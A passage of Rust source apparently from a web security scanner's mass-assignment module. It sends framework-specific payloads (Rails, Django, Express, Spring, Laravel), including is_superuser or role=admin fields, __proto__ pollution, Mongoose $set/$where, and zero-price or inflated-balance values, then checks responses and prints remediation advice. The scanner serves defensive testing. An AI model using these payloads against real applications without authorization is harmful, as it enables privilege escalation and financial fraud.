1131                "order[line_items_attributes][0][price]=0",
1132                "Rails: line_items_attributes",
1133            ),
1134            // Rails polymorphic association abuse
1135            (
1136                "comment[commentable_type]=Admin&comment[commentable_id]=1",
1137                "Rails: polymorphic abuse",
1138            ),
1139        ];
1140
1141        let tests_run = rails_payloads.len();
1142
1143        for (payload, technique) in &rails_payloads {
1144            let test_url = if url.contains('?') {
1145                format!("{}&{}", url, payload)
1146            } else {
1147                format!("{}?{}", url, payload)
1148            };
1149
1150            if let Ok(response) = self.http_client.get(&test_url).await {
1151                if self.verify_rails_injection(&response.body, payload) {
1152                    vulnerabilities.push(self.create_vulnerability(
1153                        url,
1154                        "Rails Strong Parameters Bypass",
1155                        payload,
1156                        &format!(
1157                            "Rails strong parameters (params.permit) bypassed. Technique: {}",
1158                            technique
1159                        ),
1160                        "Successfully bypassed Rails parameter protection",
1161                        Severity::Critical,
1162                        Confidence::High,
1163                        "CWE-915",
1164                        9.0,
1165                    ));
1166                    return Ok((vulnerabilities, tests_run));
1167                }
1168            }
1169        }
1170
1171        Ok((vulnerabilities, tests_run))
1172    }
1173
1174    /// Django-specific mass assignment tests (serializer bypass)
1175    async fn test_django_specific(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1176        let mut vulnerabilities = Vec::new();
1177
1178        let django_payloads = vec![
1179            // Django REST Framework serializer bypass
1180            (json!({"is_staff": true}), "DRF: is_staff"),
1181            (json!({"is_superuser": true}), "DRF: is_superuser"),
1182            (json!({"is_active": true}), "DRF: is_active"),
1183            (json!({"groups": [1]}), "DRF: groups assignment"),
1184            (
1185                json!({"user_permissions": [1, 2, 3]}),
1186                "DRF: user_permissions",
1187            ),
1188            // Django model field bypass
1189            (json!({"password": "admin123"}), "DRF: direct password"),
1190            (json!({"pk": 1}), "DRF: primary key manipulation"),
1191            (json!({"id": 1}), "DRF: id manipulation"),
1192        ];
1193
1194        let tests_run = django_payloads.len();
1195        let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
1196
1197        for (payload, technique) in django_payloads {
1198            if let Ok(response) = self
1199                .http_client
1200                .post_with_headers(url, &payload.to_string(), headers.clone())
1201                .await
1202            {
1203                if self.verify_django_injection(&response.body, &payload) {
1204                    vulnerabilities.push(self.create_vulnerability(
1205                        url,
1206                        "Django Serializer Bypass",
1207                        &payload.to_string(),
1208                        &format!(
1209                            "Django REST Framework serializer bypassed. Technique: {}",
1210                            technique
1211                        ),
1212                        "Successfully bypassed Django serializer protection",
1213                        Severity::Critical,
1214                        Confidence::High,
1215                        "CWE-915",
1216                        9.0,
1217                    ));
1218                    return Ok((vulnerabilities, tests_run));
1219                }
1220            }
1221        }
1222
1223        Ok((vulnerabilities, tests_run))
1224    }
1225
1226    /// Express-specific mass assignment tests (body parser exploitation)
1227    async fn test_express_specific(
1228        &self,
1229        url: &str,
1230    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1231        let mut vulnerabilities = Vec::new();
1232
1233        let express_payloads = vec![
1234            // Express body-parser exploitation
1235            (
1236                json!({"__proto__": {"isAdmin": true}}),
1237                "Express: __proto__ pollution",
1238            ),
1239            (
1240                json!({"constructor": {"prototype": {"admin": true}}}),
1241                "Express: constructor pollution",
1242            ),
1243            (
1244                json!({"isAdmin": true, "role": "admin"}),
1245                "Express: direct assignment",
1246            ),
1247            // Mongoose schema bypass
1248            (
1249                json!({"$set": {"role": "admin"}}),
1250                "Express/Mongoose: $set injection",
1251            ),
1252            (
1253                json!({"$unset": {"password": ""}}),
1254                "Express/Mongoose: $unset",
1255            ),
1256            // Express query pollution
1257            (
1258                json!({"$where": "this.admin = true"}),
1259                "Express/Mongoose: $where",
1260            ),
1261        ];
1262
1263        let tests_run = express_payloads.len();
1264        let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
1265
1266        for (payload, technique) in express_payloads {
1267            if let Ok(response) = self
1268                .http_client
1269                .post_with_headers(url, &payload.to_string(), headers.clone())
1270                .await
1271            {
1272                if self.verify_express_injection(&response.body, &payload) {
1273                    vulnerabilities.push(self.create_vulnerability(
1274                        url,
1275                        "Express Body Parser Exploitation",
1276                        &payload.to_string(),
1277                        &format!(
1278                            "Express body parser allows mass assignment. Technique: {}",
1279                            technique
1280                        ),
1281                        "Successfully exploited Express body parser",
1282                        Severity::Critical,
1283                        Confidence::High,
1284                        "CWE-915",
1285                        9.0,
1286                    ));
1287                    return Ok((vulnerabilities, tests_run));
1288                }
1289            }
1290        }
1291
1292        Ok((vulnerabilities, tests_run))
1293    }
1294
1295    /// Spring-specific mass assignment tests (Jackson annotation bypass)
1296    async fn test_spring_specific(&self, url: &str) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1297        let mut vulnerabilities = Vec::new();
1298
1299        let spring_payloads = vec![
1300            // Spring/Jackson bypass attempts
1301            (json!({"admin": true}), "Spring: direct admin"),
1302            (
1303                json!({"authorities": [{"authority": "ROLE_ADMIN"}]}),
1304                "Spring: authorities",
1305            ),
1306            (json!({"roles": ["ADMIN"]}), "Spring: roles array"),
1307            (
1308                json!({"enabled": true, "accountNonLocked": true}),
1309                "Spring: account status",
1310            ),
1311            // Spring class injection
1312            (
1313                json!({"class": {"classLoader": {}}}),
1314                "Spring: class loader injection",
1315            ),
1316            // Spring nested binding
1317            (
1318                json!({"user": {"admin": true}}),
1319                "Spring: nested user.admin",
1320            ),
1321            (
1322                json!({"userDetails": {"authorities": [{"authority": "ADMIN"}]}}),
1323                "Spring: userDetails",
1324            ),
1325        ];
1326
1327        let tests_run = spring_payloads.len();
1328        let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
1329
1330        for (payload, technique) in spring_payloads {
1331            if let Ok(response) = self
1332                .http_client
1333                .post_with_headers(url, &payload.to_string(), headers.clone())
1334                .await
1335            {
1336                if self.verify_spring_injection(&response.body, &payload) {
1337                    vulnerabilities.push(self.create_vulnerability(
1338                        url,
1339                        "Spring Jackson Annotation Bypass",
1340                        &payload.to_string(),
1341                        &format!(
1342                            "Spring Jackson binding allows mass assignment. Technique: {}",
1343                            technique
1344                        ),
1345                        "Successfully bypassed Spring Jackson protection",
1346                        Severity::Critical,
1347                        Confidence::High,
1348                        "CWE-915",
1349                        9.0,
1350                    ));
1351                    return Ok((vulnerabilities, tests_run));
1352                }
1353            }
1354        }
1355
1356        Ok((vulnerabilities, tests_run))
1357    }
1358
1359    /// Laravel-specific mass assignment tests (Eloquent bypass)
1360    async fn test_laravel_specific(
1361        &self,
1362        url: &str,
1363    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1364        let mut vulnerabilities = Vec::new();
1365
1366        let laravel_payloads = vec![
1367            // Laravel Eloquent bypass
1368            (json!({"is_admin": true}), "Laravel: is_admin"),
1369            (json!({"role": "admin"}), "Laravel: role"),
1370            (json!({"role_id": 1}), "Laravel: role_id"),
1371            (
1372                json!({"email_verified_at": "2024-01-01T00:00:00Z"}),
1373                "Laravel: email_verified_at",
1374            ),
1375            // Laravel relationship bypass
1376            (json!({"roles": [{"id": 1}]}), "Laravel: roles relationship"),
1377            (
1378                json!({"permissions": [1, 2, 3]}),
1379                "Laravel: permissions sync",
1380            ),
1381            // Laravel pivot data manipulation
1382            (
1383                json!({"pivot": {"role_id": 1, "is_admin": true}}),
1384                "Laravel: pivot data",
1385            ),
1386        ];
1387
1388        let tests_run = laravel_payloads.len();
1389        let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
1390
1391        for (payload, technique) in laravel_payloads {
1392            if let Ok(response) = self
1393                .http_client
1394                .post_with_headers(url, &payload.to_string(), headers.clone())
1395                .await
1396            {
1397                if self.verify_laravel_injection(&response.body, &payload) {
1398                    vulnerabilities.push(self.create_vulnerability(
1399                        url,
1400                        "Laravel Eloquent Mass Assignment Bypass",
1401                        &payload.to_string(),
1402                        &format!(
1403                            "Laravel Eloquent $fillable/$guarded bypassed. Technique: {}",
1404                            technique
1405                        ),
1406                        "Successfully bypassed Laravel Eloquent protection",
1407                        Severity::Critical,
1408                        Confidence::High,
1409                        "CWE-915",
1410                        9.0,
1411                    ));
1412                    return Ok((vulnerabilities, tests_run));
1413                }
1414            }
1415        }
1416
1417        Ok((vulnerabilities, tests_run))
1418    }
1419
1420    /// Generic framework tests
1421    async fn test_generic_framework(
1422        &self,
1423        url: &str,
1424    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1425        let mut vulnerabilities = Vec::new();
1426
1427        let generic_payloads = vec![
1428            (json!({"admin": true}), "generic: admin"),
1429            (json!({"role": "admin"}), "generic: role"),
1430            (json!({"isAdmin": true}), "generic: isAdmin"),
1431            (json!({"verified": true}), "generic: verified"),
1432            (json!({"active": true}), "generic: active"),
1433        ];
1434
1435        let tests_run = generic_payloads.len();
1436        let headers = vec![("Content-Type".to_string(), "application/json".to_string())];
1437
1438        for (payload, technique) in generic_payloads {
1439            if let Ok(response) = self
1440                .http_client
1441                .post_with_headers(url, &payload.to_string(), headers.clone())
1442                .await
1443            {
1444                if self.verify_generic_injection(&response.body, &payload) {
1445                    vulnerabilities.push(self.create_vulnerability(
1446                        url,
1447                        "Mass Assignment Vulnerability",
1448                        &payload.to_string(),
1449                        &format!(
1450                            "Mass assignment vulnerability detected. Technique: {}",
1451                            technique
1452                        ),
1453                        "Successfully exploited mass assignment",
1454                        Severity::High,
1455                        Confidence::Medium,
1456                        "CWE-915",
1457                        7.5,
1458                    ));
1459                    return Ok((vulnerabilities, tests_run));
1460                }
1461            }
1462        }
1463
1464        Ok((vulnerabilities, tests_run))
1465    }
1466
1467    // ========================================================================
1468    // PRIVILEGE ESCALATION FIELD TESTS
1469    // ========================================================================
1470
1471    async fn test_privilege_escalation_fields(
1472        &self,
1473        url: &str,
1474        context: &EndpointContext,
1475    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1476        let mut vulnerabilities = Vec::new();
1477
1478        info!("[MassAssignment-Advanced] Testing privilege escalation fields");
1479
1480        let privilege_fields = vec![
1481            // Role fields
1482            ("role", "admin"),
1483            ("role", "administrator"),
1484            ("role", "superuser"),
1485            ("userRole", "admin"),
1486            ("user_role", "admin"),
1487            // Boolean admin flags
1488            ("isAdmin", "true"),
1489            ("is_admin", "true"),
1490            ("admin", "true"),
1491            ("superuser", "true"),
1492            ("is_superuser", "true"),
1493            // Permission fields
1494            ("permissions", "admin"),
1495            ("permission", "all"),
1496            ("access_level", "admin"),
1497            ("accessLevel", "10"),
1498            ("privilege", "admin"),
1499            // Verification fields
1500            ("verified", "true"),
1501            ("is_verified", "true"),
1502            ("email_verified", "true"),
1503            ("phone_verified", "true"),
1504            ("account_verified", "true"),
1505            // Status fields
1506            ("active", "true"),
1507            ("is_active", "true"),
1508            ("enabled", "true"),
1509            ("approved", "true"),
1510            ("is_approved", "true"),
1511            ("status", "active"),
1512            ("account_status", "active"),
1513        ];
1514
1515        let tests_run = privilege_fields.len();
1516
1517        for (field, value) in &privilege_fields {
1518            let test_url = if url.contains('?') {
1519                format!("{}&{}={}", url, field, value)
1520            } else {
1521                format!("{}?{}={}", url, field, value)
1522            };
1523
1524            if let Ok(response) = self.http_client.get(&test_url).await {
1525                if self.verify_privilege_escalation(&response.body, field, value) {
1526                    vulnerabilities.push(self.create_vulnerability(
1527                        url,
1528                        "Privilege Escalation via Mass Assignment",
1529                        &format!("{}={}", field, value),
1530                        &format!(
1531                            "User privileges can be escalated by injecting {}={}. Framework: {:?}",
1532                            field, value, context.framework
1533                        ),
1534                        &format!(
1535                            "Successfully escalated privileges using {}={}",
1536                            field, value
1537                        ),
1538                        Severity::Critical,
1539                        Confidence::High,
1540                        "CWE-915",
1541                        9.1,
1542                    ));
1543                    return Ok((vulnerabilities, tests_run));
1544                }
1545            }
1546        }
1547
1548        Ok((vulnerabilities, tests_run))
1549    }
1550
1551    // ========================================================================
1552    // OWNERSHIP MANIPULATION TESTS
1553    // ========================================================================
1554
1555    async fn test_ownership_manipulation(
1556        &self,
1557        url: &str,
1558        context: &EndpointContext,
1559    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1560        let mut vulnerabilities = Vec::new();
1561
1562        info!("[MassAssignment-Advanced] Testing ownership manipulation");
1563
1564        let ownership_fields = vec![
1565            ("id", "1"),
1566            ("user_id", "1"),
1567            ("userId", "1"),
1568            ("owner_id", "1"),
1569            ("ownerId", "1"),
1570            ("account_id", "1"),
1571            ("accountId", "1"),
1572            ("org_id", "1"),
1573            ("organization_id", "1"),
1574            ("tenant_id", "1"),
1575            ("parent_id", "1"),
1576            ("created_by", "1"),
1577            ("createdBy", "1"),
1578            ("author_id", "1"),
1579        ];
1580
1581        let tests_run = ownership_fields.len();
1582
1583        for (field, value) in &ownership_fields {
1584            let test_url = if url.contains('?') {
1585                format!("{}&{}={}", url, field, value)
1586            } else {
1587                format!("{}?{}={}", url, field, value)
1588            };
1589
1590            if let Ok(response) = self.http_client.get(&test_url).await {
1591                if self.verify_ownership_change(&response.body, field, value) {
1592                    vulnerabilities.push(self.create_vulnerability(
1593                        url,
1594                        "Ownership Manipulation via Mass Assignment",
1595                        &format!("{}={}", field, value),
1596                        &format!(
1597                            "Object ownership can be changed by injecting {}={}. \
1598                            This may lead to IDOR or privilege escalation. Framework: {:?}",
1599                            field, value, context.framework
1600                        ),
1601                        &format!(
1602                            "Successfully manipulated ownership using {}={}",
1603                            field, value
1604                        ),
1605                        Severity::High,
1606                        Confidence::Medium,
1607                        "CWE-915",
1608                        8.0,
1609                    ));
1610                    return Ok((vulnerabilities, tests_run));
1611                }
1612            }
1613        }
1614
1615        Ok((vulnerabilities, tests_run))
1616    }
1617
1618    // ========================================================================
1619    // FINANCIAL FIELD MANIPULATION
1620    // ========================================================================
1621
1622    async fn test_financial_field_manipulation(
1623        &self,
1624        url: &str,
1625        context: &EndpointContext,
1626    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1627        let mut vulnerabilities = Vec::new();
1628
1629        info!("[MassAssignment-Advanced] Testing financial field manipulation");
1630
1631        let financial_fields = vec![
1632            // Balance/credits
1633            ("balance", "999999"),
1634            ("credits", "999999"),
1635            ("points", "999999"),
1636            ("coins", "999999"),
1637            // Price manipulation
1638            ("price", "0"),
1639            ("amount", "0"),
1640            ("total", "0"),
1641            ("subtotal", "0"),
1642            ("cost", "0"),
1643            ("fee", "0"),
1644            ("discount", "100"),
1645            ("discount_percent", "100"),
1646            // Subscription/tier
1647            ("subscription", "premium"),
1648            ("tier", "enterprise"),
1649            ("plan", "unlimited"),
1650            ("subscription_type", "lifetime"),
1651            ("is_premium", "true"),
1652            ("is_pro", "true"),
1653            // Limits
1654            ("limit", "999999"),
1655            ("quota", "999999"),
1656            ("max_items", "999999"),
1657            ("rate_limit", "999999"),
1658        ];
1659
1660        let tests_run = financial_fields.len();
1661
1662        for (field, value) in &financial_fields {
1663            let test_url = if url.contains('?') {
1664                format!("{}&{}={}", url, field, value)
1665            } else {
1666                format!("{}?{}={}", url, field, value)
1667            };
1668
1669            if let Ok(response) = self.http_client.get(&test_url).await {
1670                if self.verify_financial_manipulation(&response.body, field, value) {
1671                    let severity = if field.contains("price")
1672                        || field.contains("amount")
1673                        || field.contains("balance")
1674                    {
1675                        Severity::Critical
1676                    } else {
1677                        Severity::High
1678                    };
1679
1680                    vulnerabilities.push(self.create_vulnerability(
1681                        url,
1682                        "Financial Field Manipulation via Mass Assignment",
1683                        &format!("{}={}", field, value),
1684                        &format!(
1685                            "Financial/business fields can be manipulated by injecting {}={}. \
1686                            This may lead to financial fraud. Framework: {:?}",
1687                            field, value, context.framework
1688                        ),
1689                        &format!(
1690                            "Successfully manipulated financial field {}={}",
1691                            field, value
1692                        ),
1693                        severity,
1694                        Confidence::High,
1695                        "CWE-915",
1696                        9.0,
1697                    ));
1698                    return Ok((vulnerabilities, tests_run));
1699                }
1700            }
1701        }
1702
1703        Ok((vulnerabilities, tests_run))
1704    }
1705
1706    // ========================================================================
1707    // TIMESTAMP MANIPULATION
1708    // ========================================================================
1709
1710    async fn test_timestamp_manipulation(
1711        &self,
1712        url: &str,
1713        context: &EndpointContext,
1714    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
1715        let mut vulnerabilities = Vec::new();
1716
1717        info!("[MassAssignment-Advanced] Testing timestamp manipulation");
1718
1719        let timestamp_fields = vec![
1720            ("created_at", "2020-01-01T00:00:00Z"),
1721            ("createdAt", "2020-01-01T00:00:00Z"),
1722            ("updated_at", "2030-01-01T00:00:00Z"),
1723            ("updatedAt", "2030-01-01T00:00:00Z"),
1724            ("deleted_at", "null"),
1725            ("deletedAt", "null"),
1726            ("expires_at", "2030-01-01T00:00:00Z"),
1727            ("expiresAt", "2030-01-01T00:00:00Z"),
1728            ("valid_until", "2030-01-01T00:00:00Z"),
1729            ("subscription_ends", "2030-01-01T00:00:00Z"),
1730            ("trial_ends_at", "2030-01-01T00:00:00Z"),
1731            ("last_login", "2020-01-01T00:00:00Z"),
1732            ("password_changed_at", "2030-01-01T00:00:00Z"),
1733        ];
1734
1735        let tests_run = timestamp_fields.len();
1736
1737        for (field, value) in &timestamp_fields {
1738            let test_url = if url.contains('?') {
1739                format!("{}&{}={}", url, field, value)
1740            } else {
1741                format!("{}?{}={}", url, field, value)
1742            };
1743
1744            if let Ok(response) = self.http_client.get(&test_url).await {
1745                if self.verify_timestamp_manipulation(&response.body, field, value) {
1746                    vulnerabilities.push(self.create_vulnerability(
1747                        url,
1748                        "Timestamp Manipulation via Mass Assignment",
1749                        &format!("{}={}", field, value),
1750                        &format!(
1751                            "Timestamp fields can be manipulated by injecting {}={}. \
1752                            This may bypass time-based restrictions. Framework: {:?}",
1753                            field, value, context.framework
1754                        ),
1755                        &format!("Successfully manipulated timestamp {}={}", field, value),
1756                        Severity::Medium,
1757                        Confidence::Medium,
1758                        "CWE-915",
1759                        6.0,
1760                    ));
1761                    return Ok((vulnerabilities, tests_run));
1762                }
1763            }
1764        }
1765
1766        Ok((vulnerabilities, tests_run))
1767    }
1768
1769    // ========================================================================
1770    // VERIFICATION HELPERS
1771    // ========================================================================
1772
1773    fn verify_nested_injection(&self, body: &str, payload: &str) -> bool {
1774        if !self.is_structured_response(body) {
1775            return false;
1776        }
1777
1778        let body_lower = body.to_lowercase();
1779
1780        // Check for unique marker
1781        if body_lower.contains(&self.test_marker.to_lowercase()) {
1782            return true;
1783        }
1784
1785        // Check for privilege escalation patterns
1786        if payload.contains("role]=admin") || payload.contains("role=admin") {
1787            if body_lower.contains("\"role\":\"admin\"")
1788                || body_lower.contains("\"role\": \"admin\"")
1789            {
1790                return true;
1791            }
1792        }
1793
1794        if payload.contains("admin]=true")
1795            || payload.contains("admin=true")
1796            || payload.contains("admin]=1")
1797        {
1798            if body_lower.contains("\"admin\":true")
1799                || body_lower.contains("\"admin\": true")
1800                || body_lower.contains("\"admin\":1")
1801            {
1802                return true;
1803            }
1804        }
1805
1806        if payload.contains("isadmin]=true") || payload.contains("isadmin=true") {
1807            if body_lower.contains("\"isadmin\":true") || body_lower.contains("\"isadmin\": true") {
1808                return true;
1809            }
1810        }
1811
1812        false
1813    }
1814
1815    fn verify_json_injection(&self, body: &str, payload: &Value) -> bool {
1816        if !self.is_structured_response(body) {
1817            return false;
1818        }
1819
1820        let body_lower = body.to_lowercase();
1821
1822        // Check for unique marker
1823        if body_lower.contains(&self.test_marker.to_lowercase()) {
1824            return true;
1825        }
1826
1827        // Parse response and check for injected values
1828        if let Ok(response_json) = serde_json::from_str::<Value>(body) {
1829            return self.json_contains_injected_value(&response_json, payload);
1830        }
1831
1832        false
1833    }
1834
1835    fn json_contains_injected_value(&self, response: &Value, payload: &Value) -> bool {
1836        // Look for admin/role patterns in nested response
1837        if let Some(obj) = payload.as_object() {
1838            for (_key, value) in obj {
1839                if let Some(inner_obj) = value.as_object() {
1840                    for (inner_key, inner_value) in inner_obj {
1841                        if inner_key == "role" && inner_value == "admin" {
1842                            if self.json_has_value(response, "role", "admin") {
1843                                return true;
1844                            }
1845                        }
1846                        if inner_key == "admin" || inner_key == "isAdmin" {
1847                            if inner_value == true {
1848                                if self.json_has_bool(response, inner_key, true) {
1849                                    return true;
1850                                }
1851                            }
1852                        }
1853                    }
1854                }
1855            }
1856        }
1857
1858        false
1859    }
1860
1861    fn json_has_value(&self, json: &Value, key: &str, value: &str) -> bool {
1862        match json {
1863            Value::Object(map) => {
1864                if let Some(v) = map.get(key) {
1865                    if v.as_str() == Some(value) {
1866                        return true;
1867                    }
1868                }
1869                for (_, v) in map {
1870                    if self.json_has_value(v, key, value) {
1871                        return true;
1872                    }
1873                }
1874            }
1875            Value::Array(arr) => {
1876                for item in arr {
1877                    if self.json_has_value(item, key, value) {
1878                        return true;
1879                    }
1880                }
1881            }
1882            _ => {}
1883        }
1884        false
1885    }
1886
1887    fn json_has_bool(&self, json: &Value, key: &str, value: bool) -> bool {
1888        match json {
1889            Value::Object(map) => {
1890                if let Some(v) = map.get(key) {
1891                    if v.as_bool() == Some(value) {
1892                        return true;
1893                    }
1894                }
1895                for (_, v) in map {
1896                    if self.json_has_bool(v, key, value) {
1897                        return true;
1898                    }
1899                }
1900            }
1901            Value::Array(arr) => {
1902                for item in arr {
1903                    if self.json_has_bool(item, key, value) {
1904                        return true;
1905                    }
1906                }
1907            }
1908            _ => {}
1909        }
1910        false
1911    }
1912
1913    fn verify_dot_notation_injection(&self, body: &str, payload: &str) -> bool {
1914        self.verify_nested_injection(body, payload)
1915    }
1916
1917    fn verify_array_pollution(&self, body: &str, payload: &str) -> bool {
1918        if !self.is_structured_response(body) {
1919            return false;
1920        }
1921
1922        let body_lower = body.to_lowercase();
1923
1924        // Check for marker
1925        if body_lower.contains(&self.test_marker.to_lowercase()) {
1926            return true;
1927        }
1928
1929        // Check for admin injection in array context
1930        if payload.contains("admin") && body.contains('[') {
1931            if body_lower.contains("\"admin\":true") || body_lower.contains("\"role\":\"admin\"") {
1932                return true;
1933            }
1934        }
1935
1936        // Check for price manipulation in array
1937        if payload.contains("price]=0") || payload.contains("amount]=0") {
1938            if body_lower.contains("\"price\":0") || body_lower.contains("\"amount\":0") {
1939                return true;
1940            }
1941        }
1942
1943        false
1944    }
1945
1946    fn verify_json_array_pollution(&self, body: &str, payload: &Value) -> bool {
1947        if !self.is_structured_response(body) {
1948            return false;
1949        }
1950
1951        let body_lower = body.to_lowercase();
1952
1953        // Check for admin role assignment in structured response
1954        // Require JSON value context, not just the word "admin" anywhere
1955        if body_lower.contains("\"roles\"") && (body_lower.contains("\"admin\"") || body_lower.contains(":\"admin\"")) {
1956            return true;
1957        }
1958
1959        // Check for admin in permissions
1960        if body_lower.contains("\"permissions\"") && (body_lower.contains("\"admin\"") || body_lower.contains(":\"admin\"")) {
1961            return true;
1962        }
1963
1964        false
1965    }
1966
1967    fn verify_deep_merge(&self, body: &str, payload: &Value) -> bool {
1968        if !self.is_structured_response(body) {
1969            return false;
1970        }
1971
1972        let body_lower = body.to_lowercase();
1973
1974        // Check for marker
1975        if body_lower.contains(&self.test_marker.to_lowercase()) {
1976            return true;
1977        }
1978
1979        // Check for prototype pollution with actual admin escalation
1980        if body_lower.contains("\"__proto__\"") && (body_lower.contains("\"admin\":true") || body_lower.contains("\"role\":\"admin\"")) {
1981            return true;
1982        }
1983
1984        // Check for deep nested privilege escalation
1985        self.verify_json_injection(body, payload)
1986    }
1987
1988    fn verify_rails_injection(&self, body: &str, _payload: &str) -> bool {
1989        if !self.is_structured_response(body) {
1990            return false;
1991        }
1992
1993        let body_lower = body.to_lowercase();
1994
1995        body_lower.contains("\"admin\":true")
1996            || body_lower.contains("\"role\":\"admin\"")
1997            || body_lower.contains("\"verified\":true")
1998    }
1999
2000    fn verify_django_injection(&self, body: &str, payload: &Value) -> bool {
2001        if !self.is_structured_response(body) {
2002            return false;
2003        }
2004
2005        let body_lower = body.to_lowercase();
2006
2007        // Check for staff/superuser flags
2008        if body_lower.contains("\"is_staff\":true") || body_lower.contains("\"is_superuser\":true")
2009        {
2010            return true;
2011        }
2012
2013        self.verify_json_injection(body, payload)
2014    }
2015
2016    fn verify_express_injection(&self, body: &str, payload: &Value) -> bool {
2017        if !self.is_structured_response(body) {
2018            return false;
2019        }
2020
2021        let body_lower = body.to_lowercase();
2022
2023        // Check for prototype pollution or constructor override with actual admin escalation
2024        if body_lower.contains("\"__proto__\"") || body_lower.contains("\"constructor\"") {
2025            if body_lower.contains("\"admin\":true") || body_lower.contains("\"role\":\"admin\"") {
2026                return true;
2027            }
2028        }
2029
2030        self.verify_json_injection(body, payload)
2031    }
2032
2033    fn verify_spring_injection(&self, body: &str, payload: &Value) -> bool {
2034        if !self.is_structured_response(body) {
2035            return false;
2036        }
2037
2038        let body_lower = body.to_lowercase();
2039
2040        // Check for authorities or roles - require admin in JSON value context
2041        if body_lower.contains("\"authorities\"") && (body_lower.contains("\"admin\"") || body_lower.contains(":\"admin\"")) {
2042            return true;
2043        }
2044
2045        self.verify_json_injection(body, payload)
2046    }
2047
2048    fn verify_laravel_injection(&self, body: &str, payload: &Value) -> bool {
2049        if !self.is_structured_response(body) {
2050            return false;
2051        }
2052
2053        let body_lower = body.to_lowercase();
2054
2055        // Check for Laravel-specific patterns
2056        if body_lower.contains("\"is_admin\":true") || body_lower.contains("\"role\":\"admin\"") {
2057            return true;
2058        }
2059
2060        if body_lower.contains("\"email_verified_at\"") && !body_lower.contains("null") {
2061            return true;
2062        }
2063
2064        self.verify_json_injection(body, payload)
2065    }
2066
2067    fn verify_generic_injection(&self, body: &str, payload: &Value) -> bool {
2068        self.verify_json_injection(body, payload)
2069    }
2070
2071    fn verify_privilege_escalation(&self, body: &str, field: &str, value: &str) -> bool {
2072        if !self.is_structured_response(body) {
2073            return false;
2074        }
2075
2076        let body_lower = body.to_lowercase();
2077        let field_lower = field.to_lowercase();
2078        let value_lower = value.to_lowercase();
2079
2080        // Check for exact field:value match in JSON
2081        let patterns = vec![
2082            format!("\"{}\":\"{}\"", field_lower, value_lower),
2083            format!("\"{}\": \"{}\"", field_lower, value_lower),
2084            format!("\"{}\":{}", field_lower, value_lower),
2085            format!("\"{}\": {}", field_lower, value_lower),
2086        ];
2087
2088        for pattern in patterns {
2089            if body_lower.contains(&pattern) {
2090                return true;
2091            }
2092        }
2093
2094        false
2095    }
2096
2097    fn verify_ownership_change(&self, body: &str, field: &str, value: &str) -> bool {
2098        self.verify_privilege_escalation(body, field, value)
2099    }
2100
2101    fn verify_financial_manipulation(&self, body: &str, field: &str, value: &str) -> bool {
2102        self.verify_privilege_escalation(body, field, value)
2103    }
2104
2105    fn verify_timestamp_manipulation(&self, body: &str, field: &str, value: &str) -> bool {
2106        if !self.is_structured_response(body) {
2107            return false;
2108        }
2109
2110        let body_lower = body.to_lowercase();
2111        let field_lower = field.to_lowercase();
2112
2113        // Check if the field appears in response with a date value
2114        if body_lower.contains(&format!("\"{}\":", field_lower)) {
2115            // Check for our injected date pattern
2116            if body_lower.contains("2020-01-01") || body_lower.contains("2030-01-01") {
2117                return true;
2118            }
2119        }
2120
2121        false
2122    }
2123
2124    fn is_structured_response(&self, body: &str) -> bool {
2125        let trimmed = body.trim();
2126        trimmed.starts_with('{') || trimmed.starts_with('[')
2127    }
2128
2129    // ========================================================================
2130    // VULNERABILITY CREATION
2131    // ========================================================================
2132
2133    fn create_vulnerability(
2134        &self,
2135        url: &str,
2136        vuln_type: &str,
2137        payload: &str,
2138        description: &str,
2139        evidence: &str,
2140        severity: Severity,
2141        confidence: Confidence,
2142        cwe: &str,
2143        cvss: f64,
2144    ) -> Vulnerability {
2145        Vulnerability {
2146            id: format!("maa_{}", generate_uuid()),
2147            vuln_type: vuln_type.to_string(),
2148            severity,
2149            confidence,
2150            category: "Business Logic".to_string(),
2151            url: url.to_string(),
2152            parameter: None,
2153            payload: payload.to_string(),
2154            description: description.to_string(),
2155            evidence: Some(evidence.to_string()),
2156            cwe: cwe.to_string(),
2157            cvss: cvss as f32,
2158            verified: true,
2159            false_positive: false,
2160            remediation: self.get_remediation(),
2161            discovered_at: chrono::Utc::now().to_rfc3339(),
2162                ml_confidence: None,
2163                ml_data: None,
2164        }
2165    }
2166
2167    fn get_remediation(&self) -> String {
2168        r#"MASS ASSIGNMENT REMEDIATION:
2169===============================
2170
21711. USE ALLOWLISTS (RECOMMENDED):
2172   - Rails: Use strong parameters with permit()
2173   - Django: Specify fields in serializer's Meta class
2174   - Express: Validate and pick only allowed fields
2175   - Spring: Use @JsonIgnore on sensitive fields
2176   - Laravel: Use $fillable array in Eloquent models
2177
21782. AVOID BLOCKLISTS:
2179   - Blocklists ($guarded) are error-prone
2180   - Always prefer explicit allowlists
2181
21823. USE DATA TRANSFER OBJECTS (DTOs):
2183   - Create separate input/output models
2184   - Never bind directly to domain models
2185
21864. VALIDATE INPUT STRICTLY:
2187   - Validate all input against expected schema
2188   - Reject unexpected fields
2189
21905. PROTECT SENSITIVE FIELDS:
2191   - Mark role, admin, verified as read-only
2192   - Implement field-level access controls
2193
21946. BLOCK DANGEROUS PATTERNS:
2195   - Reject __proto__, constructor, prototype
2196   - Limit nested object depth
2197   - Sanitize array indices
2198
21997. IMPLEMENT AUTHORIZATION:
2200   - Check permissions before updates
2201   - Use separate endpoints for admin operations
2202
22038. FRAMEWORK-SPECIFIC:
2204   Rails: params.require(:user).permit(:name, :email)
2205   Django: class UserSerializer(serializers.Serializer):
2206               class Meta:
2207                   fields = ['name', 'email']
2208   Express: const { name, email } = req.body; // Only pick allowed
2209   Spring: @JsonIgnoreProperties(value = {"admin", "role"})
2210   Laravel: protected $fillable = ['name', 'email'];
2211
22129. USE OBJECT.CREATE(NULL):
2213   - For JavaScript, prevent prototype pollution
2214   - const obj = Object.create(null);
2215
221610. IMPLEMENT STRICT JSON SCHEMA:
